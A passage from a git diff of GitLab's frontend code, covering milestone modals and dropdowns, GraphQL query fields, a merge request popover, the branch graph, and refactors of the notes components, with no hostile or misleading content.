+ el: '#js-delete-milestone-modal',
+ data() {
+ return {
+ modalProps: {
+ milestoneId: -1,
+ milestoneTitle: '',
+ milestoneUrl: '',
+ issueCount: -1,
+ mergeRequestCount: -1,
+ },
+ };
+ },
+ mounted() {
+ eventHub.$on('deleteMilestoneModal.props', this.setModalProps);
+ deleteMilestoneButtons.forEach((button) => {
+ button.removeAttribute('disabled');
+ button.addEventListener('click', () => {
+ this.$root.$emit(BV_SHOW_MODAL, 'delete-milestone-modal');
+ eventHub.$once('deleteMilestoneModal.requestStarted', onRequestStarted);
+
+ this.setModalProps({
+ milestoneId: parseInt(button.dataset.milestoneId, 10),
+ milestoneTitle: button.dataset.milestoneTitle,
+ milestoneUrl: button.dataset.milestoneUrl,
+ issueCount: parseInt(button.dataset.milestoneIssueCount, 10),
+ mergeRequestCount: parseInt(button.dataset.milestoneMergeRequestCount, 10),
+ });
+ });
+ });
+ },
+ methods: {
+ setModalProps(modalProps) {
+ this.modalProps = modalProps;
+ },
+ },
+ render(createElement) {
+ return createElement(DeleteMilestoneModal, {
+ props: this.modalProps,
+ });
+ },
+ });
+}
diff --git a/app/assets/javascripts/milestones/milestone.js b/app/assets/javascripts/milestones/milestone.js
new file mode 100644
index 00000000000..05102f73f92
--- /dev/null
+++ b/app/assets/javascripts/milestones/milestone.js
@@ -0,0 +1,49 @@
+import createFlash from '~/flash';
+import { sanitize } from '~/lib/dompurify';
+import axios from '~/lib/utils/axios_utils';
+import { historyPushState } from '~/lib/utils/common_utils';
+import { __ } from '~/locale';
+import { GlTabsBehavior, TAB_SHOWN_EVENT } from '~/tabs';
+
+export default class Milestone {
+ constructor() {
+ this.tabsEl = document.querySelector('.js-milestone-tabs');
+ this.glTabs = new GlTabsBehavior(this.tabsEl);
+ this.loadedTabs = new WeakSet();
+
+ this.bindTabsSwitching();
+ this.loadInitialTab();
+ }
+
+ bindTabsSwitching() {
+ this.tabsEl.addEventListener(TAB_SHOWN_EVENT, (event) => {
+ const tab = event.target;
+ const { activeTabPanel } = event.detail;
+ historyPushState(tab.getAttribute('href'));
+ this.loadTab(tab, activeTabPanel);
+ });
+ }
+
+ loadInitialTab() {
+ const tab = this.tabsEl.querySelector(`a[href="${window.location.hash}"]`);
+ this.glTabs.activateTab(tab || this.glTabs.activeTab);
+ }
+ loadTab(tab, tabPanel) {
+ const { endpoint } = tab.dataset;
+
+ if (endpoint && !this.loadedTabs.has(tab)) {
+ axios
+ .get(endpoint)
+ .then(({ data }) => {
+ // eslint-disable-next-line no-param-reassign
+ tabPanel.innerHTML = sanitize(data.html);
+ this.loadedTabs.add(tab);
+ })
+ .catch(() =>
+ createFlash({
+ message: __('Error loading milestone tab'),
+ }),
+ );
+ }
+ }
+}
diff --git a/app/assets/javascripts/milestones/milestone_select.js b/app/assets/javascripts/milestones/milestone_select.js
new file mode 100644
index 00000000000..c95ec3dd10b
--- /dev/null
+++ b/app/assets/javascripts/milestones/milestone_select.js
@@ -0,0 +1,273 @@
+/* eslint-disable one-var, no-self-compare, consistent-return, no-param-reassign, no-shadow */
+/* global Issuable */
+
+import $ from 'jquery';
+import { template, escape } from 'lodash';
+import Api from '~/api';
+import initDeprecatedJQueryDropdown from '~/deprecated_jquery_dropdown';
+import { __, sprintf } from '~/locale';
+import { sortMilestonesByDueDate } from '~/milestones/utils';
+import axios from '~/lib/utils/axios_utils';
+import { timeFor, parsePikadayDate, dateInWords } from '~/lib/utils/datetime_utility';
+
+export default class MilestoneSelect {
+ constructor(currentProject, els, options = {}) {
+ if (currentProject !== null) {
+ this.currentProject =
+ typeof currentProject === 'string' ? JSON.parse(currentProject) : currentProject;
+ }
+
+ MilestoneSelect.init(els, options);
+ }
+
+ static init(els, options) {
+ let $els = $(els);
+
+ if (!els) {
+ $els = $('.js-milestone-select');
+ }
+
+ $els.each((i, dropdown) => {
+ let milestoneLinkNoneTemplate,
+ milestoneLinkTemplate,
+ milestoneExpiredLinkTemplate,
+ selectedMilestone,
+ selectedMilestoneDefault;
+ const $dropdown = $(dropdown);
+ const issueUpdateURL = $dropdown.data('issueUpdate');
+ const showNo = $dropdown.data('showNo');
+ const showAny = $dropdown.data('showAny');
+ const showMenuAbove = $dropdown.data('showMenuAbove');
+ const showUpcoming = $dropdown.data('showUpcoming');
+ const showStarted = $dropdown.data('showStarted');
+ const useId = $dropdown.data('useId');
+ const defaultLabel = $dropdown.data('defaultLabel');
+ const defaultNo = $dropdown.data('defaultNo');
+ const abilityName = $dropdown.data('abilityName');
+ const $selectBox = $dropdown.closest('.selectbox');
+ const $block = $selectBox.closest('.block');
+ const $sidebarCollapsedValue = $block.find('.sidebar-collapsed-icon');
+ const $value = $block.find('.value');
+ const $loading = $block.find('.block-loading').addClass('gl-display-none');
+ selectedMilestoneDefault = showAny ? '' : null;
+ selectedMilestoneDefault =
+ showNo && defaultNo ? __('No milestone') : selectedMilestoneDefault;
+ selectedMilestone = $dropdown.data('selected') || selectedMilestoneDefault;
+
+ if (issueUpdateURL) {
+ milestoneLinkTemplate = template(
+ '<a href="<%- web_url %>" class="bold has-tooltip" data-container="body" title="<%- remaining %>"><%- title %></a>',
+ );
+ milestoneExpiredLinkTemplate = template(
+ '<a href="<%- web_url %>" class="bold has-tooltip" data-container="body" title="<%- remaining %>"><%- title %> (Past due)</a>',
+ );
+ milestoneLinkNoneTemplate = `<span class="no-value">${__('None')}</span>`;
+ }
+ return initDeprecatedJQueryDropdown($dropdown, {
+ showMenuAbove,
+ data: (term, callback) => {
+ let contextId = parseInt($dropdown.get(0).dataset.projectId, 10);
+ let getMilestones = Api.projectMilestones.bind(Api);
+ const reqParams = { state: 'active', include_parent_milestones: true };
+
+ if (term) {
+ reqParams.search = term.trim();
+ }
+
+ if (!contextId) {
+ contextId = $dropdown.get(0).dataset.groupId;
+ delete reqParams.include_parent_milestones;
+ getMilestones = Api.groupMilestones.bind(Api);
+ }
+
+ // We don't use $.data() as it caches initial value and never updates!
+ return getMilestones(contextId, reqParams)
+ .then(({ data }) =>
+ data
+ .map((m) => ({
+ ...m,
+ // Public API includes `title` instead of `name`.
+ name: m.title,
+ }))
+ .sort(sortMilestonesByDueDate),
+ )
+ .then((data) => {
+ const extraOptions = [];
+ if (showAny) {
+ extraOptions.push({
+ id: null,
+ name: null,
+ title: __('Any milestone'),
+ });
+ }
+ if (showNo && term.trim() === '') {
+ extraOptions.push({
+ id: -1,
+ name: __('No milestone'),
+ title: __('No milestone'),
+ });
+ }
+ if (showUpcoming) {
+ extraOptions.push({
+ id: -2,
+ name: '#upcoming',
+ title: __('Upcoming'),
+ });
+ }
+ if (showStarted) {
+ extraOptions.push({
+ id: -3,
+ name: '#started',
+ title: __('Started'),
+ });
+ }
+ if (extraOptions.length) {
+ extraOptions.push({ type: 'divider' });
+ }
+
+ callback(extraOptions.concat(data));
+ if (showMenuAbove) {
+ $dropdown.data('deprecatedJQueryDropdown').positionMenuAbove();
+ }
+ $(`[data-milestone-id="${selectedMilestone}"] > a`).addClass('is-active');
+ });
+ },
+ renderRow: (milestone) => {
+ const milestoneName = milestone.title || milestone.name;
+ let milestoneDisplayName = escape(milestoneName);
+
+ if (milestone.expired) {
+ milestoneDisplayName = sprintf(__('%{milestone} (expired)'), {
+ milestone: milestoneDisplayName,
+ });
+ }
+
+ return `
+ <li data-milestone-id="${escape(milestoneName)}">
+ <a href='#' class='dropdown-menu-milestone-link'>
+ ${milestoneDisplayName}
+ </a>
+ </li>
+ `;
+ },
+ filterable: true,
+ filterRemote: true,
+ search: {
+ fields: ['title'],
+ },
+ selectable: true,
+ toggleLabel: (selected, el) => {
+ if (selected && 'id' in selected && $(el).hasClass('is-active')) {
+ return selected.title;
+ }
+ return defaultLabel;
+ },
+ defaultLabel,
+ fieldName: $dropdown.data('fieldName'),
+ text: (milestone) => escape(milestone.title),
+ id: (milestone) => {
+ if (milestone !== undefined) {
+ if (!useId && !$dropdown.is('.js-issuable-form-dropdown')) {
+ return milestone.name;
+ }
+
+ return milestone.id;
+ }
+ },
+ hidden: () => {
+ $selectBox.hide();
+ // display:block overrides the hide-collapse rule
+ return $value.css('display', '');
+ },
+ opened: (e) => {
+ const $el = $(e.currentTarget);
+ if (options.handleClick) {
+ selectedMilestone = $dropdown[0].dataset.selected || selectedMilestoneDefault;
+ }
+ $('a.is-active', $el).removeClass('is-active');
+ $(`[data-milestone-id="${selectedMilestone}"] > a`, $el).addClass('is-active');
+ },
+ vue: false,
+ clicked: (clickEvent) => {
+ const { e } = clickEvent;
+ let selected = clickEvent.selectedObj;
+
+ if (!selected) return;
+
+ if (options.handleClick) {
+ e.preventDefault();
+ options.handleClick(selected);
+ return;
+ }
+
+ const page = $('body').attr('data-page');
+ const isIssueIndex = page === 'projects:issues:index';
+ const isMRIndex = page === page && page === 'projects:merge_requests:index';
+ const isSelecting = selected.name !== selectedMilestone;
+ selectedMilestone = isSelecting ? selected.name : selectedMilestoneDefault;
+
+ if (
+ $dropdown.hasClass('js-filter-bulk-update') ||
+ $dropdown.hasClass('js-issuable-form-dropdown')
+ ) {
+ e.preventDefault();
+ return;
+ }
+
+ if ($dropdown.hasClass('js-filter-submit') && (isIssueIndex || isMRIndex)) {
+ return Issuable.filterResults($dropdown.closest('form'));
+ } else if ($dropdown.hasClass('js-filter-submit')) {
+ return $dropdown.closest('form').submit();
+ }
+
+ selected = $selectBox.find('input[type="hidden"]').val();
+
+ const data = {};
+ data[abilityName] = {};
+ data[abilityName].milestone_id = selected != null ? selected : null;
+ $loading.removeClass('gl-display-none');
+ $dropdown.trigger('loading.gl.dropdown');
+ return axios
+ .put(issueUpdateURL, data)
+ .then(({ data }) => {
+ $dropdown.trigger('loaded.gl.dropdown');
+ $loading.addClass('gl-display-none');
+ $selectBox.hide();
+ $value.css('display', '');
+ if (data.milestone != null) {
+ data.milestone.remaining = timeFor(data.milestone.due_date);
+ data.milestone.name = data.milestone.title;
+ $value.html(
+ data.milestone.expired
+ ? milestoneExpiredLinkTemplate({
+ ...data.milestone,
+ remaining: sprintf(__('%{due_date} (Past due)'), {
+ due_date: dateInWords(parsePikadayDate(data.milestone.due_date)),
+ }),
+ })
+ : milestoneLinkTemplate(data.milestone),
+ );
+ return $sidebarCollapsedValue
+ .attr(
+ 'data-original-title',
+ `${data.milestone.name}<br />${data.milestone.remaining}`,
+ )
+ .find('span')
+ .text(data.milestone.title);
+ }
+ $value.html(milestoneLinkNoneTemplate);
+ return $sidebarCollapsedValue
+ .attr('data-original-title', __('Milestone'))
+ .find('span')
+ .text(__('None'));
+ })
+ .catch(() => {
+ $loading.addClass('gl-display-none');
+ });
+ },
+ });
+ });
+ }
+}
+
+window.MilestoneSelect = MilestoneSelect;
diff --git a/app/assets/javascripts/milestones/milestone_utils.js b/app/assets/javascripts/milestones/utils.js
index 3ae5e676138..3ae5e676138 100644
--- a/app/assets/javascripts/milestones/milestone_utils.js
+++ b/app/assets/javascripts/milestones/utils.js
diff --git a/app/assets/javascripts/monitoring/queries/getDashboardValidationWarnings.query.graphql b/app/assets/javascripts/monitoring/queries/getDashboardValidationWarnings.query.graphql
index 302383512d3..a61d601cd34 100644
--- a/app/assets/javascripts/monitoring/queries/getDashboardValidationWarnings.query.graphql
+++ b/app/assets/javascripts/monitoring/queries/getDashboardValidationWarnings.query.graphql
@@ -7,6 +7,7 @@ query getDashboardValidationWarnings(
id
environments(name: $environmentName) {
nodes {
+ id
name
metricsDashboard(path: $dashboardPath) {
path
diff --git a/app/assets/javascripts/mr_popover/components/mr_popover.vue b/app/assets/javascripts/mr_popover/components/mr_popover.vue
index 791fdf7660f..d99a3adb358 100644
--- a/app/assets/javascripts/mr_popover/components/mr_popover.vue
+++ b/app/assets/javascripts/mr_popover/components/mr_popover.vue
@@ -65,6 +65,9 @@ export default {
return humanMRStates.open;
}
},
+ title() {
+ return this.mergeRequest?.title || this.mergeRequestTitle;
+ },
showDetails() {
return Object.keys(this.mergeRequest).length > 0;
},
@@ -89,7 +92,7 @@ export default {
<template>
<gl-popover :target="target" boundary="viewport" placement="top" show>
<div class="mr-popover">
- <div v-if="$apollo.loading">
+ <div v-if="$apollo.queries.mergeRequest.loading">
<gl-skeleton-loading :lines="1" class="animation-container-small mt-1" />
</div>
<div v-else-if="showDetails" class="d-flex align-items-center justify-content-between">
@@ -97,13 +100,13 @@ export default {
<div :class="`issuable-status-box status-box ${statusBoxClass}`">
{{ stateHumanName }}
</div>
- <span class="text-secondary">Opened <time v-text="formattedTime"></time></span>
+ <span class="gl-text-secondary">Opened <time v-text="formattedTime"></time></span>
</div>
<ci-icon v-if="detailedStatus" :status="detailedStatus" />
</div>
- <h5 class="my-2">{{ mergeRequestTitle }}</h5>
+ <h5 v-if="!$apollo.queries.mergeRequest.loading" class="my-2">{{ title }}</h5>
<!-- eslint-disable @gitlab/vue-require-i18n-strings -->
- <div class="text-secondary">
+ <div class="gl-text-secondary">
{{ `${projectPath}!${mergeRequestIID}` }}
</div>
<!-- eslint-enable @gitlab/vue-require-i18n-strings -->
diff --git a/app/assets/javascripts/mr_popover/queries/merge_request.query.graphql b/app/assets/javascripts/mr_popover/queries/merge_request.query.graphql
index 37d4bc88a69..b3e5d89d495 100644
--- a/app/assets/javascripts/mr_popover/queries/merge_request.query.graphql
+++ b/app/assets/javascripts/mr_popover/queries/merge_request.query.graphql
@@ -1,10 +1,15 @@
query mergeRequest($projectPath: ID!, $mergeRequestIID: String!) {
project(fullPath: $projectPath) {
+ id
mergeRequest(iid: $mergeRequestIID) {
+ id
+ title
createdAt
state
headPipeline {
+ id
detailedStatus {
+ id
icon
group
}
diff --git a/app/assets/javascripts/network/branch_graph.js b/app/assets/javascripts/network/branch_graph.js
index 54fe9d19002..71894b4ff3e 100644
--- a/app/assets/javascripts/network/branch_graph.js
+++ b/app/assets/javascripts/network/branch_graph.js
@@ -98,6 +98,7 @@ export default class BranchGraph {
let len = 0;
let cuday = 0;
let cumonth = '';
+ let cuyear = '';
const { r } = this;
r.rect(0, 0, 40, this.barHeight).attr({
fill: '#222',
@@ -108,24 +109,21 @@ export default class BranchGraph {
const ref = this.days;
for (mm = 0, len = ref.length; mm < len; mm += 1) {
const day = ref[mm];
- if (cuday !== day[0] || cumonth !== day[1]) {
+ if (cuday !== day[0] || cumonth !== day[1] || cuyear !== day[2]) {
// Dates
r.text(55, this.offsetY + this.unitTime * mm, day[0]).attr({
font: '12px Monaco, monospace',
fill: '#BBB',
});
- [cuday] = day;
}
- if (cumonth !== day[1]) {
+ if (cumonth !== day[1] || cuyear !== day[2]) {
// Months
r.text(20, this.offsetY + this.unitTime * mm, day[1]).attr({
font: '12px Monaco, monospace',
fill: '#EEE',
});
-
- // eslint-disable-next-line prefer-destructuring
- cumonth = day[1];
}
+ [cuday, cumonth, cuyear] = day;
}
this.renderPartialGraph();
return this.bindEvents();
diff --git a/app/assets/javascripts/notes/components/comment_form.vue b/app/assets/javascripts/notes/components/comment_form.vue
index 4e31fdcd4f0..996c008b881 100644
--- a/app/assets/javascripts/notes/components/comment_form.vue
+++ b/app/assets/javascripts/notes/components/comment_form.vue
@@ -11,7 +11,6 @@ import httpStatusCodes from '~/lib/utils/http_status';
import {
capitalizeFirstCharacter,
convertToCamelCase,
- splitCamelCase,
slugifyWithUnderscore,
} from '~/lib/utils/text_utility';
import { sprintf } from '~/locale';
@@ -77,7 +76,15 @@ export default {
]),
...mapState(['isToggleStateButtonLoading']),
noteableDisplayName() {
- return splitCamelCase(this.noteableType).toLowerCase();
+ const displayNameMap = {
+ [constants.ISSUE_NOTEABLE_TYPE]: this.$options.i18n.issue,
+ [constants.EPIC_NOTEABLE_TYPE]: this.$options.i18n.epic,
+ [constants.MERGE_REQUEST_NOTEABLE_TYPE]: this.$options.i18n.mergeRequest,
+ };
+
+ const noteableTypeKey =
+ constants.NOTEABLE_TYPE_MAPPING[this.noteableType] || constants.ISSUE_NOTEABLE_TYPE;
+ return displayNameMap[noteableTypeKey];
},
isLoggedIn() {
return this.getUserData.id;
@@ -103,15 +110,13 @@ export default {
const openOrClose = this.isOpen ? 'close' : 'reopen';
if (this.note.length) {
- return sprintf(this.$options.i18n.actionButtonWithNote, {
+ return sprintf(this.$options.i18n.actionButton.withNote[openOrClose], {
actionText: this.commentButtonTitle,
- openOrClose,
noteable: this.noteableDisplayName,
});
}
- return sprintf(this.$options.i18n.actionButton, {
- openOrClose: capitalizeFirstCharacter(openOrClose),
+ return sprintf(this.$options.i18n.actionButton.withoutNote[openOrClose], {
noteable: this.noteableDisplayName,
});
},
@@ -151,13 +156,8 @@ export default {
draftEndpoint() {
return this.getNotesData.draftsPath;
},
- issuableTypeTitle() {
- return this.noteableType === constants.MERGE_REQUEST_NOTEABLE_TYPE
- ? this.$options.i18n.mergeRequest
- : this.$options.i18n.issue;
- },
isIssue() {
- return this.noteableDisplayName === constants.ISSUE_NOTEABLE_TYPE;
+ return constants.NOTEABLE_TYPE_MAPPING[this.noteableType] === constants.ISSUE_NOTEABLE_TYPE;
},
trackingLabel() {
return slugifyWithUnderscore(`${this.commentButtonTitle} button`);
@@ -329,7 +329,7 @@ export default {
<template>
<div>
<note-signed-out-widget v-if="!isLoggedIn" />
- <discussion-locked-widget v-else-if="!canCreateNote" :issuable-type="issuableTypeTitle" />
+ <discussion-locked-widget v-else-if="!canCreateNote" :issuable-type="noteableDisplayName" />
<ul v-else-if="canCreateNote" class="notes notes-form timeline">
<timeline-entry-item class="note-form">
<gl-alert
diff --git a/app/assets/javascripts/notes/components/diff_with_note.vue b/app/assets/javascripts/notes/components/diff_with_note.vue
index b04aa74d46e..b2d5910fd3f 100644
--- a/app/assets/javascripts/notes/components/diff_with_note.vue
+++ b/app/assets/javascripts/notes/components/diff_with_note.vue
@@ -1,5 +1,8 @@
<script>
-import { GlDeprecatedSkeletonLoading as GlSkeletonLoading } from '@gitlab/ui';
+import {
+ GlDeprecatedSkeletonLoading as GlSkeletonLoading,
+ GlSafeHtmlDirective as SafeHtml,
+} from '@gitlab/ui';
import { mapState, mapActions } from 'vuex';
import DiffFileHeader from '~/diffs/components/diff_file_header.vue';
import ImageDiffOverlay from '~/diffs/components/image_diff_overlay.vue';
@@ -17,6 +20,9 @@ export default {
DiffViewer,
ImageDiffOverlay,
},
+ directives: {
+ SafeHtml,
+ },
props: {
discussion: {
type: Object,
@@ -92,11 +98,7 @@ export default {
>
<td :class="line.type" class="diff-line-num old_line">{{ line.old_line }}</td>
<td :class="line.type" class="diff-line-num new_line">{{ line.new_line }}</td>
- <td
- :class="line.type"
- class="line_content"
- v-html="trimChar(line.rich_text) /* eslint-disable-line vue/no-v-html */"
- ></td>
+ <td v-safe-html="trimChar(line.rich_text)" :class="line.type" class="line_content"></td>
</tr>
</template>
<tr v-if="!hasTruncatedDiffLines" class="line_holder line-holder-placeholder">
diff --git a/app/assets/javascripts/notes/components/discussion_filter.vue b/app/assets/javascripts/notes/components/discussion_filter.vue
index 88f053aed67..102afaf308f 100644
--- a/app/assets/javascripts/notes/components/discussion_filter.vue
+++ b/app/assets/javascripts/notes/components/discussion_filter.vue
@@ -39,7 +39,7 @@ export default {
};
},
computed: {
- ...mapGetters(['getNotesDataByProp', 'timelineEnabled']),
+ ...mapGetters(['getNotesDataByProp', 'timelineEnabled', 'isLoading']),
currentFilter() {
if (!this.currentValue) return this.filters[0];
return this.filters.find((filter) => filter.value === this.currentValue);
@@ -119,6 +119,7 @@ export default {
class="gl-mr-3 full-width-mobile discussion-filter-container js-discussion-filter-container"
data-qa-selector="discussion_filter_dropdown"
:text="currentFilter.title"
+ :disabled="isLoading"
>
<div v-for="filter in filters" :key="filter.value" class="dropdown-item-wrapper">
<gl-dropdown-item
diff --git a/app/assets/javascripts/notes/components/discussion_locked_widget.vue b/app/assets/javascripts/notes/components/discussion_locked_widget.vue
index 2f215e36d5b..8ac3f6bea68 100644
--- a/app/assets/javascripts/notes/components/discussion_locked_widget.vue
+++ b/app/assets/javascripts/notes/components/discussion_locked_widget.vue
@@ -1,7 +1,6 @@
<script>
import { GlLink, GlIcon } from '@gitlab/ui';
import { __, sprintf } from '~/locale';
-import Issuable from '~/vue_shared/mixins/issuable';
import issuableStateMixin from '../mixins/issuable_state';
export default {
@@ -9,8 +8,17 @@ export default {
GlIcon,
GlLink,
},
- mixins: [Issuable, issuableStateMixin],
+ mixins: [issuableStateMixin],
+ props: {
+ issuableType: {
+ required: true,
+ type: String,
+ },
+ },
computed: {
+ issuableDisplayName() {
+ return this.issuableType.replace(/_/g, ' ');
+ },
projectArchivedWarning() {
return __('This project is archived and cannot be commented on.');
},
diff --git a/app/assets/javascripts/notes/components/discussion_notes.vue b/app/assets/javascripts/notes/components/discussion_notes.vue
index d1df4eb848b..6fcfa66ea49 100644
--- a/app/assets/javascripts/notes/components/discussion_notes.vue
+++ b/app/assets/javascripts/notes/components/discussion_notes.vue
@@ -1,6 +1,5 @@
<script>
import { mapGetters, mapActions } from 'vuex';
-import { GlIntersectionObserver } from '@gitlab/ui';
import { __ } from '~/locale';
import PlaceholderNote from '~/vue_shared/components/notes/placeholder_note.vue';
import PlaceholderSystemNote from '~/vue_shared/components/notes/placeholder_system_note.vue';
@@ -17,9 +16,7 @@ export default {
ToggleRepliesWidget,
NoteEditedText,
DiscussionNotesRepliesWrapper,
- GlIntersectionObserver,
},
- inject: ['discussionObserverHandler'],
props: {
discussion: {
type: Object,
@@ -57,11 +54,7 @@ export default {
},
},
computed: {
- ...mapGetters([
- 'userCanReply',
- 'previousUnresolvedDiscussionId',
- 'firstUnresolvedDiscussionId',
- ]),
+ ...mapGetters(['userCanReply']),
hasReplies() {
return Boolean(this.replies.length);
},
@@ -84,20 +77,9 @@ export default {
url: this.discussion.discussion_path,
};
},
- isFirstUnresolved() {
- return this.firstUnresolvedDiscussionId === this.discussion.id;
- },
- },
- observerOptions: {
- threshold: 0,
- rootMargin: '0px 0px -50% 0px',
},
methods: {
- ...mapActions([
- 'toggleDiscussion',
- 'setSelectedCommentPositionHover',
- 'setCurrentDiscussionId',
- ]),
+ ...mapActions(['toggleDiscussion', 'setSelectedCommentPositionHover']),
componentName(note) {
if (note.isPlaceholderNote) {
if (note.placeholderType === SYSTEM_NOTE) {
@@ -128,18 +110,6 @@ export default {
this.setSelectedCommentPositionHover();
}
},
- observerTriggered(entry) {
- this.discussionObserverHandler({
- entry,
- isFirstUnresolved: this.isFirstUnresolved,
- currentDiscussion: { ...this.discussion },
- isDiffsPage: !this.isOverviewTab,
- functions: {
- setCurrentDiscussionId: this.setCurrentDiscussionId,
- getPreviousUnresolvedDiscussionId: this.previousUnresolvedDiscussionId,
- },
- });
- },
},
};
</script>
@@ -152,35 +122,33 @@ export default {
@mouseleave="handleMouseLeave(discussion)"
>
<template v-if="shouldGroupReplies">
- <gl-intersection-observer :options="$options.observerOptions" @update="observerTriggered">
- <component
- :is="componentName(firstNote)"
- :note="componentData(firstNote)"
- :line="line || diffLine"
- :discussion-file="discussion.diff_file"
- :commit="commit"
- :help-page-path="helpPagePath"
- :show-reply-button="userCanReply"
- :discussion-root="true"
- :discussion-resolve-path="discussion.resolve_path"
- :is-overview-tab="isOverviewTab"
- @handleDeleteNote="$emit('deleteNote')"
- @startReplying="$emit('startReplying')"
- >
- <template #discussion-resolved-text>
- <note-edited-text
- v-if="discussion.resolved"
- :edited-at="discussion.resolved_at"
- :edited-by="discussion.resolved_by"
- :action-text="resolvedText"
- class-name="discussion-headline-light js-discussion-headline discussion-resolved-text"
- />
- </template>
- <template #avatar-badge>
- <slot name="avatar-badge"></slot>
- </template>
- </component>
- </gl-intersection-observer>
+ <component
+ :is="componentName(firstNote)"
+ :note="componentData(firstNote)"
+ :line="line || diffLine"
+ :discussion-file="discussion.diff_file"
+ :commit="commit"
+ :help-page-path="helpPagePath"
+ :show-reply-button="userCanReply"
+ :discussion-root="true"
+ :discussion-resolve-path="discussion.resolve_path"
+ :is-overview-tab="isOverviewTab"
+ @handleDeleteNote="$emit('deleteNote')"
+ @startReplying="$emit('startReplying')"
+ >
+ <template #discussion-resolved-text>
+ <note-edited-text
+ v-if="discussion.resolved"
+ :edited-at="discussion.resolved_at"
+ :edited-by="discussion.resolved_by"
+ :action-text="resolvedText"
+ class-name="discussion-headline-light js-discussion-headline discussion-resolved-text"
+ />
+ </template>
+ <template #avatar-badge>
+ <slot name="avatar-badge"></slot>
+ </template>
+ </component>
<discussion-notes-replies-wrapper :is-diff-discussion="discussion.diff_discussion">
<toggle-replies-widget
v-if="hasReplies"
diff --git a/app/assets/javascripts/notes/components/note_body.vue b/app/assets/javascripts/notes/components/note_body.vue
index c09582d6287..f465ad23a06 100644
--- a/app/assets/javascripts/notes/components/note_body.vue
+++ b/app/assets/javascripts/notes/components/note_body.vue
@@ -149,7 +149,7 @@ export default {
},
},
safeHtmlConfig: {
- ADD_TAGS: ['use', 'gl-emoji'],
+ ADD_TAGS: ['use', 'gl-emoji', 'copy-code'],
},
};
</script>
diff --git a/app/assets/javascripts/notes/components/noteable_discussion.vue b/app/assets/javascripts/notes/components/noteable_discussion.vue
index 77f796fe8b0..8e32c3b3073 100644
--- a/app/assets/javascripts/notes/components/noteable_discussion.vue
+++ b/app/assets/javascripts/notes/components/noteable_discussion.vue
@@ -223,17 +223,20 @@ export default {
})
.catch((err) => {
this.removePlaceholderNotes();
- const msg = __(
- 'Your comment could not be submitted! Please check your network connection and try again.',
- );
- createFlash({
- message: msg,
- parent: this.$el,
- });
+ this.handleSaveError(err); // The 'err' parameter is being used in JH, don't remove it
this.$refs.noteForm.note = noteText;
callback(err);
});
},
+ handleSaveError() {
+ const msg = __(
+ 'Your comment could not be submitted! Please check your network connection and try again.',
+ );
+ createFlash({
+ message: msg,
+ parent: this.$el,
+ });
+ },
deleteNoteHandler(note) {
this.$emit('noteDeleted', this.discussion, note);
},
@@ -280,6 +283,7 @@ export default {
v-if="showDraft(discussion.reply_id)"
:key="`draft_${discussion.id}`"
:draft="draftForDiscussion(discussion.reply_id)"
+ :line="line"
/>
<div
v-else-if="canShowReplyActions && showReplies"
diff --git a/app/assets/javascripts/notes/components/noteable_note.vue b/app/assets/javascripts/notes/components/noteable_note.vue
index e35d8d94289..3250a4818c7 100644
--- a/app/assets/javascripts/notes/components/noteable_note.vue
+++ b/app/assets/javascripts/notes/components/noteable_note.vue
@@ -331,17 +331,20 @@ export default {
this.isEditing = true;
this.setSelectedCommentPositionHover();
this.$nextTick(() => {
- const msg = __('Something went wrong while editing your comment. Please try again.');
- createFlash({
- message: msg,
- parent: this.$el,
- });
+ this.handleUpdateError(response); // The 'response' parameter is being used in JH, don't remove it
this.recoverNoteContent(noteText);
callback();
});
}
});
},
+ handleUpdateError() {
+ const msg = __('Something went wrong while editing your comment. Please try again.');
+ createFlash({
+ message: msg,
+ parent: this.$el,
+ });
+ },
formCancelHandler({ shouldConfirm, isDirty }) {
if (shouldConfirm && isDirty) {
// eslint-disable-next-line no-alert
@@ -388,7 +391,7 @@ export default {
<div
v-if="showMultiLineComment"
data-testid="multiline-comment"
- class="gl-mb-3 gl-text-gray-500 gl-border-gray-200 gl-border-b-solid gl-border-b-1 gl-pb-3"
+ class="gl-mb-5 gl-text-gray-500 gl-border-gray-100 gl-border-b-solid gl-border-b-1 gl-pb-4"
>
<gl-sprintf :message="__('Comment on lines %{startLine} to %{endLine}')">
<template #startLine>
diff --git a/app/assets/javascripts/notes/components/notes_app.vue b/app/assets/javascripts/notes/components/notes_app.vue
index 3ab3e7a20d4..c4924cd41f5 100644
--- a/app/assets/javascripts/notes/components/notes_app.vue
+++ b/app/assets/javascripts/notes/components/notes_app.vue
@@ -8,7 +8,6 @@ import TimelineEntryItem from '~/vue_shared/components/notes/timeline_entry_item
import OrderedLayout from '~/vue_shared/components/ordered_layout.vue';
import glFeatureFlagsMixin from '~/vue_shared/mixins/gl_feature_flags_mixin';
import draftNote from '../../batch_comments/components/draft_note.vue';
-import { discussionIntersectionObserverHandlerFactory } from '../../diffs/utils/discussions';
import { getLocationHash, doesHashExistInUrl } from '../../lib/utils/url_utility';
import placeholderNote from '../../vue_shared/components/notes/placeholder_note.vue';
import placeholderSystemNote from '../../vue_shared/components/notes/placeholder_system_note.vue';
@@ -39,9 +38,6 @@ export default {
TimelineEntryItem,
},
mixins: [glFeatureFlagsMixin()],
- provide: {
- discussionObserverHandler: discussionIntersectionObserverHandlerFactory(),
- },
props: {
noteableData: {
type: Object,
@@ -108,6 +104,10 @@ export default {
});
}
+ if (this.sortDirDesc) {
+ return skeletonNotes.concat(this.discussions);
+ }
+
return this.discussions.concat(skeletonNotes);
},
canReply() {
diff --git a/app/assets/javascripts/notes/components/sidebar_subscription.vue b/app/assets/javascripts/notes/components/sidebar_subscription.vue
index 047c04c8482..52dadc7b4c3 100644
--- a/app/assets/javascripts/notes/components/sidebar_subscription.vue
+++ b/app/assets/javascripts/notes/components/sidebar_subscription.vue
@@ -1,6 +1,6 @@
<script>
import { mapActions } from 'vuex';
-import { IssuableType } from '~/issue_show/constants';
+import { IssuableType } from '~/issues/constants';
import { fetchPolicies } from '~/lib/graphql';
import { confidentialityQueries } from '~/sidebar/constants';
import { defaultClient as gqlClient } from '~/sidebar/graphql';
diff --git a/app/assets/javascripts/notes/i18n.js b/app/assets/javascripts/notes/i18n.js
index 1ffb94d11ad..951fa9733d4 100644
--- a/app/assets/javascripts/notes/i18n.js
+++ b/app/assets/javascripts/notes/i18n.js
@@ -9,15 +9,27 @@ export const COMMENT_FORM = {
issue: __('issue'),
startThread: __('Start thread'),
mergeRequest: __('merge request'),
+ epic: __('epic'),
bodyPlaceholder: __('Write a comment or drag your files here…'),
confidential: s__('Notes|Make this comment confidential'),
- confidentialVisibility: s__('Notes|Confidential comments are only visible to project members'),
+ confidentialVisibility: s__(
